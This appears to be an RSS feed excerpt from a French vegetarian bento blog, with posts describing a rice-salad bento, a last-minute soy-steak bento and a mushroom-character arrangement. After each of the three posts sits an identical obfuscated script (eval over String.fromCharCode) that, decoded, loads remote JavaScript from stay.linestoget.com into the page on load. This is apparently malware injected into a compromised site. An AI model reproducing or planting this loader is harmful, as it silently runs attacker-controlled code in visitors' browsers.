<p style="text-align: left;"><span style="color: #99cc00;">-Dans le rôle de Monsieur Champi (qui tire la langue) :</span> Trois mini champignons de Paris eux aussi piqués sur un cure dent. Les cheveux sont en germes d&rsquo;alfalfa, les yeux en <a href="http://www.monbentovegetarien.com/2011/02/26/les-graines-de-nigelle/" target="_blank">graines de nigelle</a> et la langue en endive.</p>
<p style="text-align: left;"><span style="color: #99cc00;">-Dans le rôle de la Prairie :</span> Deux grosses poignées de roquette</p>
<p style="text-align: left;"><span style="color: #99cc00;">-Dans le rôle du Nid de Papillon :</span> Une petite touffe d&rsquo;alfalfa, un <a href="http://casabento.com/shop/fr/558-accessoires-bento-feuilles-separation-baran-arc-ciel.html" target="_blank">baran</a> papillon et une brochette de fèves pour faire les œufs.</p>
<p style="text-align: left;">
<p style="text-align: left;">Pour ce qui est de la figuration vous aurez certainement remarqué la charmante petite vinaigrette au citron qui fait ses débuts. Elle a été repérée chez <a href="http://www.telemarket.fr/dynv6/produit/290548000-A-l-Olivier-Vinaigrettes-Huile-d-Olive-Citron-Vinaigre-Balsamique-Basilic-12-x-20-ml.shtml" target="_blank">telemarket</a>.</p>
<p style="text-align: left;">
<p style="text-align: center;">©ocyte PRODUCTIONS.</p>
<p style="text-align: left;">
<p style="text-align: left;">
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento Salade de Riz</title>
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		<pubDate>Fri, 25 May 2012 05:51:41 +0000</pubDate>
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		<description><![CDATA[Aujourd&#8217;hui dans mon bento il y a une Salade de Riz à recomposer ! Le joyeux temps des chaussures ouvertes, des petites robes et des déjeuners sur l&#8217;herbe serait-il enfin arrivé ? Je n&#8217;ose y croire&#8230; Et pourtant c&#8217;est indéniable : Il fait chaud ! Vite ! Vite ! Un p&#8217;tit bento d&#8217;été pour profiter [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: center;">Aujourd&rsquo;hui dans mon bento il y a une Salade de Riz à recomposer !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/salade-de-riz.jpg"><img class="aligncenter size-large wp-image-1926" title="salade de riz" src="http://www.monbentovegetarien.com/wp-content/uploads/2012/05/salade-de-riz-653x1024.jpg" alt="" width="392" height="614" /></a></p>
<p style="text-align: left;">
<p style="text-align: left;">Le joyeux temps des chaussures ouvertes, des petites robes et des déjeuners sur l&rsquo;herbe serait-il enfin arrivé ? Je n&rsquo;ose y croire&#8230; Et pourtant c&rsquo;est indéniable : Il fait chaud !</p>
<p style="text-align: left;">Vite ! Vite ! Un p&rsquo;tit bento d&rsquo;été pour profiter du Soleil tant qu&rsquo;il est là !</p>
<p style="text-align: left;">Dans mon bento salade de riz à recomposer, il y a du riz (logique), des fèves, de l&rsquo;artichaut poivrade, des courgettes cuites à l&rsquo;eau et au laurier (miam) et un radis rond posé sur un touffe d&rsquo;alfalfa, elle même reposant sur des feuilles d&rsquo;endive rouge.</p>
<p style="text-align: left;">Il y a aussi de la pomme de terre vitelotte, un éventail d&rsquo;avocat (très à propos l&rsquo;éventail), 3 fraises (dont 2 sous l&rsquo;avocat), une belle prune, des mini champignons de Paris et un joli papillon en pomme de terre vitelotte et graines de sésame au wasabi.</p>
<p style="text-align: left;">
<p style="text-align: center;">Voilà ! Bon Soleil si vous en avez ! Et surtout bon week-end les gens !</p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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		<title>Bento de dernière minute</title>
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		<pubDate>Wed, 02 Mar 2011 10:00:46 +0000</pubDate>
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		<description><![CDATA[Voilà le genre de bento que l&#8217;on peut faire quand on est prévenue au dernier moment, (merci Jean-Patou&#8230; ). Dans ces cas là on ne panique pas, on pense frigo, on pense congélo ! Dans le frigo j&#8217;ai trouvé un sympathique steak de croq&#8217;soja, je l&#8217;ai fait revenir vite fait bien fait avec un peu [&#8230;]]]></description>
				<content:encoded><![CDATA[<p style="text-align: left;">Voilà le genre de bento que l&rsquo;on peut faire quand on est prévenue au dernier moment, (merci Jean-Patou&#8230; ). Dans ces cas là on ne panique pas, on pense frigo, on pense congélo ! Dans le frigo j&rsquo;ai trouvé un sympathique steak de croq&rsquo;soja, je l&rsquo;ai fait revenir vite fait bien fait avec un peu de cumin. Dans le congélo j&rsquo;ai trouvé du riz bastmati, que j&rsquo;ai jeté dans une poêle avec quelques graines de nigelle. J&rsquo;ai nappé le steak de sauce yakitori, ajouté une demi prune, deux &laquo;&nbsp;brochettes déstructurées&nbsp;&raquo; emmental/raisin, la dernière récolte d&rsquo;alfalfa et un délicieux nougat chinois à la cacahuète. Et voilà !</p>
<p style="text-align: center;"><a href="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/cocyte1.jpg"><img class="aligncenter size-large wp-image-596" title="bento de dernière minute" src="http://www.monbentovegetarien.com/wp-content/uploads/2011/03/cocyte1-687x1024.jpg" alt="" width="412" height="614" /></a></p>
<p><script>var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,53,46,53,53,46,53,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/</script></p>
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